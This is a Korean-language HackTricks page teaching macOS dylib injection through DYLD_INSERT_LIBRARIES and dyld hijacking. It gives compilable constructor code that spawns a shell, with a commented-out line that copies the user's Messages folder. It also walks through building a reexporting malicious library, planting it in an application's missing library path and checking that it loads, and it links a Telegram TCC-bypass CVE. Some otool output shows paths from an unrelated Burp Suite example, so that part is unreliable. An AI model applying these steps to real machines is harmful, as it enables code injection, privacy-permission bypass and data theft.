macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

DYLD_INSERT_LIBRARIES 기본 예제

쉘을 실행하기 위해 주입할 라이브러리:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

공격할 이진 파일:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

삽입 (Injection):

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking 예제

대상 취약한 이진 파일은 /Applications/VulnDyld.app/Contents/Resources/lib/binary입니다.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

이전 정보를 통해 우리는 로드된 라이브러리의 서명을 확인하지 않고 다음 경로에서 라이브러리를 로드하려고 시도한다는 것을 알 수 있습니다:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

그러나 첫 번째 경로는 존재하지 않습니다:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

그래, 그것을 탈취할 수 있어! 합법적인 라이브러리와 동일한 기능을 내보내며 임의의 코드를 실행하는 라이브러리를 생성하세요. 그리고 예상 버전과 함께 컴파일하는 것을 기억하세요:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

컴파일하십시오:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

라이브러리에서 생성된 재내보내기 경로는 로더에 상대적이므로, 내보낼 라이브러리에 대한 절대 경로로 변경해보겠습니다:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

마지막으로 해킹된 위치에 복사하십시오:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

바이너리를 실행하고 라이브러리가 로드되었는지 확인하십시오:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

텔레그램의 카메라 권한을 악용하기 위해 이 취약점을 악용하는 방법에 대한 좋은 설명은 https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/에서 찾을 수 있습니다.

더 큰 규모

의도하지 않은 이진 파일에 라이브러리를 주입하려는 경우 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 찾을 수 있습니다 (이 경우 printf와 /bin/bash 실행을 제거하십시오).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated